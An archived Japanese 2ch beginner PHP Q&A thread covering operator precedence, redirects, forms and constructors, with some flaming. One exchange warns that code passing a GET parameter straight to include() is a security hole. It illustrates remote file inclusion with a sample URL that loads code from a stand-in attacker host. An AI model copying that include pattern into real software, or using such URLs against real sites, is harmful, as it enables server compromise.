トップページ⇒php
1001コメント305KB

【PHP】下らねぇ質問はここに書き込みやがれ 57

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2007/10/22(月) 23:10:36ID:mIlonsko
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/

◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0357nobodyさん2007/10/27(土) 18:11:22ID:???
くだ質的には条件文の()内以外で or 使えるって知られて無いんじゃね。
俺が知らなかっただけですか、そうですか
0358nobodyさん2007/10/27(土) 18:16:56ID:???
そう
0359nobodyさん2007/10/27(土) 18:27:15ID:???
くだ質のプロなら||だとうまくいきませんだなw
0360nobodyさん2007/10/27(土) 18:48:22ID:DF6PJ+rw
ニコニコ動画の検索結果のURL表示方法(?s=xxxx の表示がない)ってどうやってるんでしょうか
/search/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
/search.php/%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3 でも正常に表示される

検索押すと上のように表示されるURLを
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
に書き換えてアクセスすると上記のURLに変換されます。
mod_rewrite + ?s=ぽいものがURLに含まれる場合は一旦弾いて加工後のURLに飛ばして帰ってこさせてる?

この対策って一般的どういった点で効果があるんでしょうか。
見た目の問題だけ?
0361nobodyさん2007/10/27(土) 18:56:58ID:???
mod_rewrite
PATH_INFO
SEO
キャッシュとか
0362nobodyさん2007/10/27(土) 18:57:14ID:???
Perlの定型文って感じだが
それ以外では珍しい使い方じゃない?
0363nobodyさん2007/10/27(土) 18:58:52ID:???
PHPの初心者向けは種類抱負だよね
自分としてはセキュリティに配慮したサイト構築の本がほしいな

まあセキュリティやサイト構築関係は大体アマゾンで叩かれてるよなw
03643602007/10/27(土) 19:14:29ID:???
ああ、キャッシュかぁ・・・

mod_rewrite = SEOはわかるんだけど、わざわざ
/search/?s=%E3%83%8B%E3%82%B3%E3%83%8B%E3%82%B3
を一旦弾いて飛ばしたりするところ、なんか意味あるのかなー?と思ったので

ありがとうございました!
0365nobodyさん2007/10/27(土) 19:45:19ID:???
別に弾いとらんだろ
0366nobodyさん2007/10/27(土) 20:01:19ID:???
>>356
たまたま知ってただけで一般常識とはまた偉そうだなw
0367nobodyさん2007/10/27(土) 20:05:29ID:???
いや、一般じゃないにしろ常識だから。
0368nobodyさん2007/10/27(土) 20:08:31ID:???
ふ〜ん、ごりっぱですね
0369nobodyさん2007/10/27(土) 20:14:42ID:???
常識、というのは偉くもないし立派でもない

>俺が知らなかっただけですか

この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
聞き返すまでもなく「俺が知らなかった」だけに決まってる

どうも話が通じないというか、要領を得ないというか
言いたいことがあるなら、素直に言えばいいのではないか?
0370nobodyさん2007/10/27(土) 20:23:39ID:???
>>369
俺は本人じゃないけど言わせてもらう。

>この人もそうだが、それ以前に一般常識というレスがあるわけだろう?
>聞き返すまでもなく「俺が知らなかった」だけに決まってる
一般常識と思ってないから言ってるんだろwww
0371nobodyさん2007/10/27(土) 20:24:02ID:???
>>369はイタすぎる
「〜のレスがあるから、〜に決まってる」ってw
0372nobodyさん2007/10/27(土) 20:25:18ID:???
一般常識とレスしたら、それが一般常識と確定してしまう訳ですか。
"常識"なんて言葉を持ち出す奴は頭が堅くて意固地というのが定石だが
こいつは正に典型的なタイプだな。
0373nobodyさん2007/10/27(土) 20:26:55ID:???
>>370-372
なんでこんな常識的な話で反応できるかさっぱり分からん
別に悔しくもないんだろう?
0374nobodyさん2007/10/27(土) 20:28:58ID:???
こんなネタで盛り上がるのは非常識だろ
0375nobodyさん2007/10/27(土) 20:29:56ID:???
>>372がレスをしているんだから、
>>373は頭が堅くて意固地に決まってるw
0376nobodyさん2007/10/27(土) 20:31:11ID:???
自分はif派
0377nobodyさん2007/10/27(土) 20:34:21ID:???
>>366を見て下らないレスしかできない低脳だと見抜けなかった俺が阿呆だったようだな
知らなければ演算子の優先順位はマスターしておけよ
これを知らずにプログラミングというのはありえない話だ
0378nobodyさん2007/10/27(土) 20:36:04ID:???
>>376
簡易スクリプトでなけりゃそれが常識だな
0379nobodyさん2007/10/27(土) 20:36:48ID:???
演算子の優先順位をマニュアルを見ないで全部知っている人いるー?


俺は知らない、ていうか優先順位があやふやになりそうだったらカッコをつける
0380nobodyさん2007/10/27(土) 20:41:23ID:???
>>379
あやふやになるって具体的にどういう奴?
0381nobodyさん2007/10/27(土) 20:44:09ID:???
>>376
サンプルではよく見かけるんだけど、
die()とか使わないから、ああいうorの使いかたをしたことがない
エラーが起きたとき、ログを取ってエラーページに回すから俺もifだな
0382nobodyさん2007/10/27(土) 20:45:21ID:???
>>380
そんなもの、いきなり思い浮かびません
0383nobodyさん2007/10/27(土) 20:48:14ID:???
馬鹿はやっぱ馬鹿ってことがよく分かった
0384nobodyさん2007/10/27(土) 20:49:56ID:???
確かにサンプルじゃ単純化してdieだけど実際にはエラー処理してくださいよって意図だよな
意味的にもあそこでorが出るのは変だから
0385nobodyさん2007/10/27(土) 20:55:04ID:???
>>383
君にはなぜ>>349が「or」では上手くいくのに「||」では上手くいかないのか説明してもらおうか
0386nobodyさん2007/10/27(土) 21:00:02ID:euGofwdi
http://ihc.mydisk.jp/
0387nobodyさん2007/10/27(土) 21:02:08ID:???
エラーとか処理の流れの都合上変だって以前に
演算子の優先順位を利用したプログラミングがどうかと思うよ
使うのはごく少数のイディオムだけじゃないの
0388nobodyさん2007/10/27(土) 21:03:20ID:???
>>379
つかまともにPHPを3ヶ月もやってれば
必ずお目にかかる表現だろ。人のスクリプトなりコード解説サイトなり公式マニュアルなりで。
俺は原則としてZendのコーディング規約に則ってるから使わんが。
0389nobodyさん2007/10/27(土) 21:13:13ID:???
PHPマニュアルで die() を調べると exit() と同等としか説明がなく
例文すら記載されていないが、eixt() を見ると or を使った例文が
記載されている。
まぁ、PHPでのプログラミングにおいては一般常識の範疇なのだろうけど
他言語においてはこの様な凡例は見かけないからピンとこねえや
0390nobodyさん2007/10/27(土) 21:13:25ID:???
>>377 は釣り
演算子の順番なんていちいち覚えてられるかー

>>349 のようなのは、たしかにたまに見ることある
まぁ、なんとなくやってることはわかる。
なぜ or でそうなるのかは、>>352 の説明見て始めてわかったよ>if派な俺
0391nobodyさん2007/10/27(土) 21:14:07ID:???
実例はあんま見ないと思うけどなあ
初心者向きの手引きには必ずあるからみんな知ってる
知ってるのに誰もつかなわない不思議なor
0392nobodyさん2007/10/27(土) 21:19:28ID:???
perl臭いからだろw
0393nobodyさん2007/10/27(土) 21:19:51ID:???
こんなorの使い方知っていたところで百害あって一利なし
結論としてPHPオンリーなプログラマはPHPの世界から出てくんなってことだ
0394nobodyさん2007/10/27(土) 21:22:16ID:???
また馬鹿っぽい事言ってるな〜
0395nobodyさん2007/10/27(土) 21:22:36ID:???
常識か常識でないかと、使うべきか使わないべきかがごっちゃになってると思うが。わざとかw
0396nobodyさん2007/10/27(土) 21:23:42ID:???
$page = $_GET["page"]; inculde("$page");
のコードがあります。
URLの欄にhttp://localhost/bbs.php?page=http://example/test.php?&name=hoge
と打ち込むとhttp://〜test.phpのところまで意味が分かりますが、どうして?&
を付けているのか分かりません。普通は、.phpの後に?name=hoge&id=123に繋げれば
いいのは分かるのですが、どうして?&を付けるのでしょうか?
0397nobodyさん2007/10/27(土) 21:25:56ID:???
引数でも単体でもどっちでも使えるようにじゃね?
0398nobodyさん2007/10/27(土) 21:27:04ID:???
つけてもつけなくても同じ
つーか分かってるかも知れんが、$page = $_GET["page"]; inculde("$page"); なんて
すげーセキュリティホールだから止めてね
0399nobodyさん2007/10/27(土) 21:29:01ID:???
>>390
覚えなくてもたいがい期待したとおりの優先順位だよ
グループごとで把握しとけばいい
and or xor と || && が両方ある意味はいまさら言うまでもないだろうけど
0400nobodyさん2007/10/27(土) 21:30:14ID:???
>>396
リダイレクトか何かのプログラムなんだろ
http://example/test.php?&name=hoge
はほかのページのアドレスで、それを取得してそこに飛ばすとか
0401nobodyさん2007/10/27(土) 21:31:56ID:???
>>388
始めて1ヶ月もしないうちにサンプルプログラムで何度も見たが気にしなかった
実際にはサンプル以外では使えないから
>>350を見て気がついたので>>352を書いた
0402nobodyさん2007/10/27(土) 21:32:02ID:???
>>389
関数ではなく構造だとはっきり書かれてるよ
orはPHPでは稀だが、CやPerlでは良く使われる
0403nobodyさん2007/10/27(土) 21:34:42ID:???
C使いは手動で最適化するの大好きだからな
||の左右ごときに死ぬほど拘るw
0404nobodyさん2007/10/27(土) 21:35:02ID:???
>>402
Perlが知らんが、Cに「or」なんて演算子はなかったと思うが
0405nobodyさん2007/10/27(土) 21:36:55ID:???
>>403
いや右辺がスキップされる特性は普通に拘るべきポイントだろ
0406nobodyさん2007/10/27(土) 21:37:00ID:???
結局、>>383は>>385を説明できないんだな
演算子の順位を丸暗記してるだけじゃねーのか?w
0407nobodyさん2007/10/27(土) 21:37:57ID:???
>>406
お前はどこまで低脳なんだw
0408nobodyさん2007/10/27(土) 21:38:38ID:???
>>407
やっぱりまだいたかw
0409nobodyさん2007/10/27(土) 21:39:52ID:???
>>398
phpでURLをどう解釈して処理しているのかよく分からないのです。
?から&までを$_GETで取得できるってことですよね?
$page = "http://example/test.php?";;
になると?が余分についててtest.phpが読み込めないかなぁと思って理解できません。
0410nobodyさん2007/10/27(土) 21:40:05ID:???
これは普通にやるよね
if(($a=foo())==false) {
0411nobodyさん2007/10/27(土) 21:41:31ID:???
>>408
俺じゃねーし
お前だけ蚊帳の外だよなw
0412nobodyさん2007/10/27(土) 21:42:35ID:???
>>410
それが?
0413nobodyさん2007/10/27(土) 21:42:37ID:???
>>411
はいはい、よかったねw
もう出てくるなよ
0414nobodyさん2007/10/27(土) 21:44:18ID:???
>>398
それ、なんでセキュリティホールになるのか教えてくれ
0415nobodyさん2007/10/27(土) 21:44:26ID:???
>>410
セオリーでは代入は外に出すけど、まあそういうののほうが見やすいこともアルカポネ
0416nobodyさん2007/10/27(土) 21:45:14ID:???
>>413
煽られるだけ煽られてPHPの話題についていけなくてワロタw
0417nobodyさん2007/10/27(土) 21:46:08ID:???
>>416
お前がついて行けてないだけだろw
0418nobodyさん2007/10/27(土) 21:48:06ID:???
>>410
if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い
0419nobodyさん2007/10/27(土) 21:49:34ID:???
>>417
自白乙
どう見てもついていけてないのはお前ですw
0420nobodyさん2007/10/27(土) 21:54:13ID:???
>>415
>>418
好みの問題ってことか
0421nobodyさん2007/10/27(土) 21:56:37ID:???
>>414
PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);

昔某CMSが盛大にやらかしたよね
0422nobodyさん2007/10/27(土) 22:02:09ID:???
>>421
サンクス
まだ公開してないけど,使ってるわw
こりゃ勉強しないといけないな
0423nobodyさん2007/10/27(土) 22:02:24ID:???
Pythonはifの()で代入できないようになっとるね。
比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。
04244092007/10/27(土) 22:04:44ID:???
私の質問も答えてください
0425nobodyさん2007/10/27(土) 22:06:38ID:???
>>424
仕様を勉強しろ
0426nobodyさん2007/10/27(土) 22:08:32ID:???
変数 = 式 論理演算子 式;
やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?
0427nobodyさん2007/10/27(土) 22:08:42ID:???
http://blog.goo.ne.jp/kamimura40
0428nobodyさん2007/10/27(土) 23:20:58ID:DskU7Uv6
済みません。
教えてください。

PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?
0429sage2007/10/27(土) 23:21:55ID:DskU7Uv6
済みません・・・
下げ忘れました・・・
よろしくお願いします。
0430nobodyさん2007/10/27(土) 23:22:25ID:???
済みません・・・
下げ間違えました・・・
0431nobodyさん2007/10/28(日) 00:20:23ID:J8S2LPG/
質問します。 アンケートフォームのような「記入」→「確認」→「送信」という
一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?

というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です
0432nobodyさん2007/10/28(日) 00:22:49ID:???
>>428
Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする

個別の端末の動作は知らんので携帯スレでw
0433nobodyさん2007/10/28(日) 01:00:17ID:???
トリック・オア・トリート(Trick or treat. お菓子をくれなきゃ、いたずらするぞ)

のオア
0434nobodyさん2007/10/28(日) 01:04:03ID:???
携帯スレはずいぶん前に腐海にのまれたよ
0435nobodyさん2007/10/28(日) 01:22:15ID:???
>>431
普通でOK
0436nobodyさん2007/10/28(日) 01:26:28ID:???
>>431
typeを後ろに書くあたりソースの書き方が気に入らない
0437nobodyさん2007/10/28(日) 01:35:29ID:???
ステレオtypeですか
0438nobodyさん2007/10/28(日) 01:45:48ID:???
>>432
有難う御座います。
絶対パスで書いたら上手く行きました。
スレ汚し失礼しました。
0439nobodyさん2007/10/28(日) 01:46:48ID:???
どういたまして。
0440nobodyさん2007/10/28(日) 04:10:25ID:???
クラスのメソッド内の処理って
メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?
0441nobodyさん2007/10/28(日) 04:13:05ID:???
この一年流れについていけなかった。で、俺の給料はどうなるのよ

06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
    4月 最高裁、解約精算方法に違法判断
    6月 経産省が一部業務停止命令
   10月 会社更生法の適用を申請
0442nobodyさん2007/10/28(日) 04:14:16ID:???
素朴な疑問なんだが、
コンストラクタ内で return $var したらどうなるの?
0443nobodyさん2007/10/28(日) 04:15:01ID:???
試してみればいいじゃん
0444nobodyさん2007/10/28(日) 04:18:27ID:???
>>440
オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?
0445nobodyさん2007/10/28(日) 04:21:48ID:???
>>442
意味はない
不都合もない
0446nobodyさん2007/10/28(日) 04:22:32ID:???
はい?コンストラクタから値を返すには必要だろ
0447nobodyさん2007/10/28(日) 04:26:06ID:???
>>446
コンストラクタの本質的な意味を理解していない低脳を発見。
0448nobodyさん2007/10/28(日) 04:29:28ID:???
じゃ何なんだよ
0449nobodyさん2007/10/28(日) 04:59:13ID:???
これは罠よ!
コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w
0450nobodyさん2007/10/28(日) 05:04:31ID:???
コンストラクタが何をする場所か考えれば
returnなんてしようと普通思わないと思うんだけど
0451nobodyさん2007/10/28(日) 05:04:59ID:???
いや、
コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。
0452nobodyさん2007/10/28(日) 05:08:16ID:???
>>446
値を返すコンストラクタってどんなやつ?
0453nobodyさん2007/10/28(日) 05:11:14ID:???
>>451
ロードタイミングってなんだよ・・・・
0454nobodyさん2007/10/28(日) 05:14:43ID:???
>>453 虎舞竜
0455nobodyさん2007/10/28(日) 05:16:13ID:???
>>451
まさかコンストラクタをメソッドとしてヨブ記じゃあるまいな
0456nobodyさん2007/10/28(日) 05:21:22ID:???
PHPでジョージのことなんて考える必要ないし
■ このスレッドは過去ログ倉庫に格納されています